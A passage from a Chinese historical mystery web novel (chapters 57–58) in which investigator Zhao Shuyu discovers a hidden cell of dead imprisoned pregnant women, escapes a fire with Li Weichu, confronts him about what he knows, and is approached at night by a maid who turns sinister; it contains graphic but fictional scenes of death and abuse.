可就在她将最后一本书按压至原位之后,一个类似于内部机械忽然被打开开关,细小咯噔的声音传了出来,赵疏玉敏锐地捕捉到这个声音。
而就在下一刻,从第五个书架开始,逐渐向上和向下分裂,留出一个不高不低的高度,赵疏玉弯腰刚好可以进去。
可是她却很警惕地低头,朝这个隐秘的空间看去。
一股难以掩盖的恶臭袭来,赵疏玉许久没有闻到过这样的味道,一时间被这味道一冲,头眩晕了几秒。
可她很快就镇定下来。
意识到这是自己熟悉到不能再熟悉的味道,她逐渐放下了心。
人的恐惧来自于未知。
可她已然能猜到这里面藏了什么,所以定下心神,抬步往里面走去。
里面的空气比外面低了好几个度,越往里面走去,阴寒的感觉更甚,令人不禁汗毛直竖。
可是赵疏玉仿佛已经习以为常一般,她镇定自若地朝里面走去,神色丝毫未变。
赵疏玉沿着过道一路走去,终于走到室内尽头。
里头灯火通明,烛光却是微弱。
想必是已经很久没有人来过的痕迹。
赵疏玉分明已经做好了见到尸体的准备,可在看到眼前的场景时,她还是冷不丁被这些尸体给吓了一跳。
她想过尸体有多么的狰狞可怖,想过里头会是血流不尽,可是她万万没有想到,里头竟然是尸横遍野!
一个又一个打造的牢狱,锁住了一个又一个女子。
她们披头散发,痛苦地扭曲在地面上,有些已化为白骨,有些已变得脱水干瘦,有的即使还未变得如此,可整个人骨瘦如柴,却无一例外,她们都大着肚子。
不同于巨人观,那里面货真价实都是已经成了形的孩子。
赵疏玉为什么能这么确定。
因为她在最旁边的牢狱中,看见了一个女子,她的身下联结着一个早已没了呼吸的孩童。
甚至他还未睁开双眼,就已经在饥饿中死去。
诸如此类的女子在这个牢狱中几乎遍地都是。
只不过牢狱关住了她们,任由她们自身自灭。
赵疏玉原地踉跄几步,脑中一片空白,甚至还有带有几分不可置信,而这样的感觉过后,是一腔愤懑,刺上头颅,令她愤怒不堪!
狭小的牢狱里关着上百的孕妇,她们几乎已经没有地方落脚,甚至连死都是站着的,死在前一个尸体之上,一个趴着一个的后背上。
双手垂落,身挺大肚,有的身下连有幼婴,却无疑,全都死去。
还有的女子怒目圆睁,双手死死握着两根木棍,嘴巴张得极大,似乎再向谁求助。
她的眼睛早已消逝,只留下一具骇人的白骨,衣服紧紧贴在身上。
赵疏玉看着她的样子,脑海中甚至能补出如果她现在还活着,她的眼神中一定是充斥着对生命
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的渴望。
饶是赵疏玉见过那么多行为可怖的杀人案,如今看到这样一副场景,大为震撼,就连是碎尸案也无可比拟。
这样的案件,不是恶劣。
是冷漠。
是对于生命的蔑视,是完完全全对于女性的压迫!
不!
这早就不是什么压迫了!
视命如草荠,视女子如物。
权力一手遮天,这里的女子到死都不明白,自己为什么会就这么屈辱的死去。
她们腹中怀着的,又是谁的孩子!
赵疏玉从心底感受到这个封建王朝的无比恶心!
他们那些权力者,为了掩盖罪证,竟然如此对待这些已经怀有身孕的女子!
荒诞!可笑!无比恶心!!
“呕!”赵疏玉双腿跪下,从胃底翻起恶心,直直干呕起来。
可是她这几日不眠不休地查案,精神紧绷,莫说是吃饭,连是觉都没睡几个时辰。
如今就算是想吐,也吐不出什么东西来。
赵疏玉抬头望去,望着这些早已是白骨美艳女子,仿佛看到她们当时是有多么绝望,是有多么想逃!
却无计可施,没有任何人能救她们!
究竟是谁,是谁让这些女子们怀孕,刘世尧又为什么要将这些女子给放到密室里来。
这里面究竟还藏着什么阴谋!
到底!
还藏着什么!!
赵疏玉恨恨捶地,眼泪不知不觉从眼眶中如断了线的珍珠一般滚落。
她从未想过,这个地方,人心,能黑暗,冷漠到何等地步!
赵疏玉踉跄着站起身。
她要查,她要知道更多。
她要找到是谁害了这些女子,她一定要找出真凶来!
她要将这些女子的冤屈公之于众,她要将那些人的罪行向天下人揭发!
她颤抖着手,强忍着眼泪,摸索着这些女子的衣物。
赵疏玉无法进门,准确来说,她没有办法开门。
一旦开门,尸体便会如大山倾覆般倒下,尸骨或许会直接摔在地上摔裂,连一个完整的尸身都无法保留。
正内心挣扎之时,她朝狱里面看去。
这一看,她当真是瞪大了双眼,无法言说任何话语。
有些女子身上甚至于都没有衣服。
赤裸着被关在狱里。
还有的,将身上唯一的衣服包裹在幼儿的身上……
再多的,她已经不忍心再看下去了。
穿着衣物的女子大多都集中在狱门前,没有穿衣服的女子则是淹没在人潮中。
赵疏玉根本无需担忧自己不开狱门究竟会遗漏掉多少线索。
眼泪在眼眶中打转,这一刻,她才真正见识到女子所遭受到的痛苦。
她不知在谁的袖子中翻出一张银票来。
只是她不认识古代的字,仔细揣摩了好久也没能揣摩出什么来。
她仔仔细细将银票收好,又再次在女子们的身上仔细搜寻了一番。
她没有再搜到任何有用的东西。
于是她只好将目光转到其他地方,她一转身,目光落在一个小案前,昏暗的油灯下似乎压着什么东西,她眼尖儿地发现,立马跑过去,将压在油灯盏底下的纸给抽了出来。
可是还没等她细看,身后却忽然响起一阵脚步声。
赵疏玉猛地回头,却被立刻捂住了口鼻。
57. 自食恶果
赵疏玉立刻曲起关节,想向后面肘击挣脱,可一阵熟悉的沉水香钻进她的鼻尖。
她的眉心不禁一动,一时间连愤怒和慌乱也淡去了几分,闻着这熟悉的味道,她倒有些心定。
身后强有力的手轻攥着她的细腰,手掌不过瞬息一转,二人的身影便消失在这狭小的地牢中。
李惟初的背紧贴在墙壁的缝隙之间,身前的手仍紧紧捂住赵疏玉的嘴,似乎有些忌惮外面走来的人。
而赵疏玉被他紧紧攥着,后背紧紧贴在他的身上,有一种莫名的情绪在她的心底荡漾开来,而她,陡然升起的这一抹微妙的情绪令她十分别扭。
她不安地动了动,她的心底升起一抹异样的慌乱,可这抹慌乱很快就在李惟初的眼神警告下消失得无影无踪。
赵疏玉能感受到他身子在紧绷着,似乎他也很紧张从远处传来不紧不慢甚至有些闲庭信步的脚步声。
她感受到身后的男人略有些急促的喘息声,可他亦尽量克制住自己。
不一会儿,那道脚步声停了下来,赵疏玉被钳制着无法探头出去看,只能依稀用耳朵来辨别声音。
那个人似乎走到那中间的桌子前,轻微的翻找声让赵疏玉不禁怀疑,这个人是不是要找的是自己提前发现的那封信?
可惜她看不懂这里的字,否则这一切的问题都将迎刃而解。
可是赵疏玉不禁又在想,刘世尧的死和这个地牢又有什么关系呢?那封压在烛台底下的信,究竟是谁的亲笔书信?那封信里又讲了什么内容?
刘世尧的死因,究竟还能在哪些地方攻克?
正当她的脑海中还在疯狂转着这件事时,李惟初的声音倏然响起在她耳边。
“快走!”
赵疏玉一懵,但她很快就明白发生了什么。
那个未知的脚步声因为找不到任何蛛丝马迹,恼羞成怒地想要将这里毁尸灭迹。
大火点燃了这片地牢,而那道身影却早已消失在地牢之内,只剩下一场熊熊的火焰,遮盖住这里的一切。
火焰熊熊燃起,那些女尸提供着源源不断地燃料,大火浸袭这一切,噼啪闪烁的爆鸣声掩盖着她们早已干涸泪尽的痛号。
但火势迅速蔓延,也让赵疏玉和李惟初面临着一个问题。
门不知何时早已被锁死,浓烟滚滚彻底点燃了地牢的一切,氧气逐渐被消耗殆尽,李惟初松开赵疏玉的手,她匍匐在地,用衣袖遮盖住口鼻。
见李惟初还傻傻地愣在原地,赵疏玉恨不得一拳头将他拍到地上。
他这么直挺挺地像个雕塑一样站在那里,是等死吗?
赵疏玉飞去一记眼刀,而李惟初像是视而不见一般,依旧站在那里。
滚烫的浓烟稍有不慎就会灼伤气管,届时,就凭这古代的医疗水平那就只有等死的份!
赵疏玉见怎么暗示他都无动于衷,私心告诉她自己在这待的每一刻都有呛死的风险,可理智却又告诉她不能见死不救。
可她一瞬间脑海中浮现出赶紧逃离这里的想法。
不想带任何人,就想这样直截了当地离开这里!
上辈子救死扶伤,这辈子她可没有什么必要的身份限制!
心中这么想着,她又连忙往前爬了几步。
赵疏玉紧抿着唇,将衣袖死死捂住嘴巴向前爬去,可不知是不是她的错觉,在火焰重重的迷雾中,她似乎看到了阿余瘦小的身影。
他似乎不悦地皱着眉头,嘴巴嘟起,很失望地看向赵疏玉,晶莹的泪珠似乎也在眼眶中打转,“姐姐,你还记得你答应过我的话吗?”
“你说过,你会代替我,一辈子救死扶伤。”
赵疏玉撇过脸不敢去看他,却又忍不住想再看看他。
阿余……
她已经好久没见过他了。
十几年了……阿余,我都快忘了你长什么样子了。
透过火焰重重的浓烟,她望向滚滚浓烟外紧闭的大门,耳边不知怎的一直回响着阿余失望的回音。
她心一横,愤恼地又倒退几步转身一把拽住李惟初胸前的衣服,硬生生将他拽离开那里。
李惟初,老娘真是上辈子欠你的!
她心底暗暗骂了这么一句后,将他硬生生扯走。
可是火势越来越大,她一时间找不到离开的按钮,心底不禁着急起来。
可她面上仍做地一派冷静的模样。
无论何时何地,她都不能够慌乱!
她沿着墙壁到处拍打,可是没有丝毫用处。
听着身后木桩倒塌的声音,心底有个声音告诉她,留给她的时间不多了。
赵疏玉的心脏不禁越跳越快,这个时候,竟然没有任何一个人可以帮助她吗……
绝望不禁从心底蔓延,而一直呆在原地的李惟初却不知伸手转了什么东西,浓烟滚滚,赵疏玉几乎连他的脸都看不清,只听得一声机关旋转的声音,一直紧闭的大门在这一刻竟然很神奇地打开了?
赵疏玉正惊讶于李惟初是怎么找到出去的按钮的,可刚一转头还没来得及询问,身后突然被一张大掌给猛地一推,她脸上惊异的笑容还未来得及收起,眼睛迸然圆睁,眼睁睁看着他就这么把自己给推出火场,而他仍站立在门后,没有丝毫逃逸的想法。
赵疏玉终于看清了他的脸。
那是一种死灰。
她从李惟初的脸上没有看到一种任何想活的情绪。
疑惑从她的心中陡然升起。
而李惟初又不知按下什么按钮,大门竟然缓缓又要合上。
他从火焰浓烟中向她扔出一件物件。
是那件被撕扯烂掉碧绿色的衣袖。
李惟初朝她微微一笑。
他的嘴巴一张一合,微笑地向她无声地说出了两个字。
“答案。”
什么答案?
赵疏玉懵了。
从头到脚的懵了。
李惟初究竟在干什么?
他怎么会出现在这里?他难道想死吗??!
赵疏玉一时间什么也管不着了,什么衣袖什么答案,她都不要了!她不想在看见战友活生生地死在自己的面前了!
明明有机会可以逃出来的啊!为什么不逃!
为什么,为什么!!!
赵疏玉猛地从地上爬起来,而门内的李惟初面色一片灰白,许是吸多了浓烟,他整个身子都颤抖起来。
他脚下一软,就要向后倒去。
而在他没入火场的前一刻,一只手猛地拽住他的左手,李惟初面色沉静地向那只手的主人看去,只见赵疏玉龇牙咧嘴地抓着他的手臂,似乎使出吃奶的劲儿抓住他。
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在大门关闭的前一刻,赵疏玉用尽全身力气一把将他拽了出来!
清新的空气扑面而来,李惟初脚下一软瞬间跪倒在地猛烈咳嗽起来。
而赵疏玉却扬起手十分清脆地往他脸上打出一个巴掌印。
“啪”的一声,不只是李惟初懵了,赵疏玉更是懵了。
她也不知道自己的情绪会这么激动。
她只知道当时的自己就只有一个念头。
救他。
而李惟初更是没想到赵疏玉竟然这么大胆,敢以下犯上打他的脸?
李惟初愣在原地,连咳嗽都忘了咳。
赵疏玉率先反应过来,她一把拽起李惟初将他往后面拽去,不知是什么丝绸刚刚好能遮挡住他们狼狈的身子。
那脚步声不知何时又返回来,赵疏玉将脸色惨白的李惟初放置身后,自己则偷偷掀开帘子的一角朝那道脚步声看去。
那脚步在屋中转悠好几圈,似乎是在寻找什么。
好几次赵疏玉都能清楚地看到这个人的双脚站着只离他们不到半米的距离,甚至只要他弯下腰,就一定能发现他们!
赵疏玉不禁紧紧闭住气,不敢发出任何声音。
在不知道来人是谁,实力几何的情况下,她不敢轻易妄动。
直到外边传来一声熟悉的声音。
“大人,属下已经将这府里大大小小的地方都检查过了,确实没有任何痕迹。大人尽可放心。”
看清楚外面人的脸,赵疏玉心下的猜测忽然就被证实了。
这道脚步声,就是袁群毅!
果不其然!
凶手一定会返回作案地点,检查自己的疏漏,欣赏自己的作案。
可袁群毅今天而来,似乎不仅仅是为了销毁证据。
更多的,似乎是在找什么东西。
可是赵疏玉已经没有心思去想这些有的没的了。
她现在首要任务就是要将周玥解救出来。
不论那个被称之为殿下的神秘女人说的话究竟是真是假,可在这节骨眼上,宁可信其有。
既然没有证据,那就只能创造证据了!
赵疏玉的大脑飞速运转着,脑海中很快就想出一个主意来。
她趴在地上,眼睛却直直地盯着书柜上的书。
以暗室的熊熊烈火和滚滚浓烟,只要她能将暗室的门打开,届时就算不会立时发生爆炸,但也够袁群毅喝一壶的了!
而她只要做的就只有一个——
她从怀中掏出李惟初曾递给她的绷带,铆足了力气,待袁群毅正好面对那个书架对面时她猛地掷出,绷带重重地砸在他的后脑勺上,他一个踉跄脚下一滑,脑袋直直撞在书架上。
顷刻间,书架如大厦倾颓,书架连带上头的书皆重重砸在地面上,掀起一地灰尘,书七零八落地散倒在地面上,密室的门似乎再也没了开关的控制,猛地大开。
火焰犹如蛇信子,迅猛毒辣地吞吐而出,瞬间将赵疏玉掷出的那卷绷带吞噬殆尽。
而赵疏玉也恰在此时起身,她一手牵着李惟初,望着这一切乱糟糟的人仰马翻,嘴角不禁勾勒出一丝得逞的微笑。
这些人,迟早会自食恶果!
而赵疏玉也取到了她想要的东西,十分满意地拽着李惟初跳上屋檐,悄无声息地离开了。
58. 窝囊废
回到县衙,赵疏玉重重将李惟初扔到地上,他灰头土脸,一脸垂头丧气地坐在地上。
他闷哼一声,眼神却始终低垂着。
赵疏玉将那件破破烂烂浅绿色的烂袍扔回到他面前,一句话也没有指责他,但也不发一言。
双手抱胸,眼神没有什么起伏波澜地看向他。
“为什么要那么做?”
赵疏玉还是开口去问他了。
“你就这么不把自己的命当命吗?”
赵疏玉连连质问,“你死了,这江南的百姓可就只有任由袁群毅他们宰割的份了……你要还是个男人,就别再摆出这幅半死不活的模样!我看不下眼!”
说罢,她再头也不回,打开屋门飘然离去,独留下一脸灰扑扑的李惟初。
他双手垂于大腿两侧,目光低垂,深沉而又深远。
救他们?
救江南百姓?
救天下之人?
李惟初想到此处,他忽地跪坐在地上,双手捂面,忍不住低低笑出声来,双肩不停地上下抖动,嘴角仍咧着向上,可温热的液体却从指缝中留出。
可我连我的母亲都救不了、
夜浮沉而深,冷风从纸糊的窗间钻入,吹灭了室内唯一亮在桌上昏暗的蜡烛。
北风中夹杂着呼啸声,呜咽地从屋中传出。
赵疏玉独自站在槐树之下,偶尔几片叶子连带着上头的槐花,犹如一只温软少女的手掌,轻轻抚过她苍白的脸庞。
赵疏玉失神地看着这颗枝叶繁茂的槐树,手掌缓缓举起,槐花轻拂而过,带走一缕清香。
门前栽槐,招鬼又散财。
古人不是从来都很忌讳这种不吉利的事情吗?
李惟初还当真是和旁人不一样。
“我的母亲从前很喜欢槐花,每到槐树盛开的时候,她总会摘好些槐花晒干了做饼……很多年,我再也没吃过了。”
不知何时李惟初走到赵疏玉身前,随手捏住一串槐花,动作却极为怜惜,轻柔中带着一丝流连。
槐花满堂,瓣瓣吹落地面,带起一阵槐香的风。
赵疏玉眼眸低垂,“从未听你提起过你的母亲。”
李惟初的目光逐渐收敛,松开了攥在手心里的槐花,“不是什么光彩的事,为何要提?”
“那个木盒子装的,是关于你母亲的吗?”赵疏玉忽然开口问道。
李惟初的瞳孔猛地一缩,他几乎是下意识便掐住赵疏玉的脖子,将她死死抵在墙上,“你若不想死,就别再管这件事。”
“可是我要真相!我要一个真相!”赵疏玉的眸光中闪烁着泪光,透过今夜朦胧的月光,那二十七个女子尖叫着冲进火场自焚,地下室怎么也数不清楚大着肚子裸着身体的孕妇,还有那么多无辜之人的死,沈怀夕的疯魔自缢,一波接一波的杀机,一茬接一茬诡异的自缢案,为某个巨大的阴谋而死去的无辜之人,他们的命,一条条都郝然矗立在赵疏玉的眼前。
她怎能不气愤,不愤怒!
“我要还他们一个真相,他们不能白死!每一条生命,都绝不能枉死!”
李惟初望着她闪着晶莹泪花的双眸一震。
良久,他松开掐在赵疏玉脖子上的手,缓缓抬起手擦去她眼角的泪花。
“有些事情,为何一定要追根究底呢……越往深,腐烂就越深,危险也就更多一分。”李惟初似是有难言之隐,“赵疏玉放弃吧,别再查下去了,否则整个江南都会因为你而落难。”
赵疏玉却敏锐地从李惟初的这句话中嗅到了什么。
她的眸中似有一丝隐秘的激动。
李惟初看清楚了,她果然是这天底下最聪明的女子。
“你是不是知道幕后的人是谁?”
见他不说话,赵疏玉的心中更加笃定那个猜测。
“你一定知道,是不是!”
李惟初仍是缄默不言,可是赵疏玉却明白了。
他知道。
他甚至连幕后是何人在捣鬼都一清二楚。
可他为什么不说呢?
为什么不说出来?
为什么要沉默?
为什么要助纣为虐?
“这一切的主使不是袁群毅,而是他身后的人是不是?他身后的那人是谁,你也一定知道,是不是!”
李惟初仍沉默着,可他那一双犹如深渊般墨色的瞳仁,其中的眸光便清楚地回答了这一切。
他知道。
“你为什么要助纣为虐?你为什么不说?为什么你知道这一切却选择当做看不见?李惟初,你读了这么多年的圣贤书究竟都读到哪里去了?”
面对赵疏玉一声声声嘶力竭的质问,李惟初什么也没说,径直转身缓缓离去。
无论赵疏玉用了什么手段拦住他,他都不再为之停留。
“赵疏玉,我从未有一刻忘记自己肩上的责任。”
说出这一句模棱两可的话后,他“啪嗒”一声关闭了房门。
大门被重重地关上,李惟初再不闻门外的任何声音,赵疏玉也知自己若强行闯门亦是徒劳。
她转身离开,走在回院子的小路上,赵疏玉的脑子越来越乱。
既然李惟初通通都知道这一切究竟是何人在背后捣鬼,那又为什么要让自己去搜集那些证据?
很显然,今夜她和李惟初火里逃生的举措让赵疏玉明白李惟初知道的,甚至于掌握的情报,比她要多上许多。
这就不得不让赵疏玉怀疑,李惟初明明在暗中知道那么多东西,他却为什么要隐瞒着,佯装着自己什么都不知道。
他明明知道刘世尧是谁的人,也清楚地知道是谁杀了刘世尧,可他却丝毫没有动作,甚至装作猛然不知,被人蒙在鼓里瑟缩的窝囊废。
为什么?
李惟初究竟在担忧什么?
那个红木盒……
赵疏玉忽然灵光一闪!
“姐姐?你终于回来啦?”可就在这时,一声娇俏甜美的声音打断了赵疏玉的思考。
锦夏的手臂上早早地挂着一条狐皮大衣,看见赵疏玉远远的身影就已迎了来,将大氅披在赵疏玉肩上。
夜里凉,锦夏说话时向外冒出阵阵雾气。
“赵姐姐,这几日你一直在外头,真是要锦夏担心死了呢!”锦夏说着便很自然地挽起她的臂膀,拉着她进屋。
屋中早早就已经备了炭火,此时更是适宜,一进门,如在春天,周身的寒意尽已褪去。
锦夏嘟着嘴道:“能为姐姐取暖,这些炭火总归是还有些用。”
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说着她便又接了一壶热热的牛乳茶给赵疏玉。
她眯起眼睛笑起来,露出两颗大大的小虎牙,“锦夏知道姐姐不爱喝茶,所以特意去学了制牛乳茶的手艺,姐姐快喝喝看!”
赵疏玉自然是盛情难却,在她一双冒着星星眼的期待下将牛乳茶一饮而尽。
她确实从小就没有喝茶的习惯。
那时候的日子已经很苦了,若再配上更苦的茶,那才真是苦不堪言。
她从没有学过怎么品茶,甚至连对吃食也没有什么太多的欲望。
能填饱肚子,死不了就行。
所以即使是她喝下这盏牛乳茶,她也实在品不出什么滋味来。
只觉得有股牛乳的奶酪味和茶水的清香味相结合,中和掉茶水的涩意,口鼻处只余下清甜。
赵疏玉也一五一十地夸赞了牛乳茶,“你的手艺很好,我确实是从没有喝过这么好喝的牛乳茶呢。有心了。”
锦夏听到赵疏玉口中夸赞,两个小脸蛋红扑扑的,“是,姐姐既说好喝,那锦夏便日日做。”
赵疏玉放下空空的茶盏,问道:“做牛乳茶应当很耗费时间和精力吧?”
锦夏努努嘴,她摇摇头,“给姐姐做的东西,自然是要多费些时间和精力的,锦夏不怕麻烦。”
赵疏玉听她这般说,心中还是有些过意不去。
“我本对你并无太大的恩情,你何必涌泉相报至此?”
锦夏展颜一笑,“对姐姐来说是小事,可是对于奴婢来说便是救人一命的神仙菩萨,锦夏自然要好好供着神仙菩萨,祈求她万事顺意,也祈求我平安健康。”
赵疏玉叹了口气,古人的思想,或许真的和她是不一样的。
祈愿,这件事情半身就是毫无意义的。
她不会将任何事情的希望寄托在一个虚无缥缈的东西身上,她只相信自己。
但总归是小女儿家未褪的青稚罢了,何必要戳穿这一切呢?让她能有个盼头似乎也不错。
她摸了摸锦夏的头,嘴角露出一丝和善的笑意,“好,神仙菩萨听到你的祈愿了,快回去吧,不必替我守夜,我本也不是什么主子大人。”
锦夏高高兴兴地退下去,而赵疏玉却是在她关门出去的那一刻嘴角便不再上扬。
周玥的时日所剩无几,她得尽快把人从狱里面救出来。
而从袁群毅身上取下来的东西……
她从袖口中翻出那个东西,这足以推翻袁群毅在这里耀武扬威的一切。
暖洋洋的炭火平白在这寒凉的夜里添一分困乏,赵疏玉这几日连着查案也没有好好休息过,如今困意上涌,她打了个哈欠,直直躺床上睡着了。
而就在她沉沉香甜地睡过去后,一个黑影捻手捻脚地推开门走了进来。
一个瘦削的身影走到灯前,挨个吹熄。
柔和天真的目光在这一刻沉闷阴鸷地盯着床上的赵疏玉。
锦夏来到最后一盏灯前,轻轻吹灭,屋中彻底坠入黑暗。
她踏着轻柔的步伐走到赵疏玉的床前蹲下。
脸上没有丝毫的表情。
这番模样若是赵疏玉如今醒着必是会大吃一惊。
“姐姐,为什么不听话。”
“为什么要擅自做主!”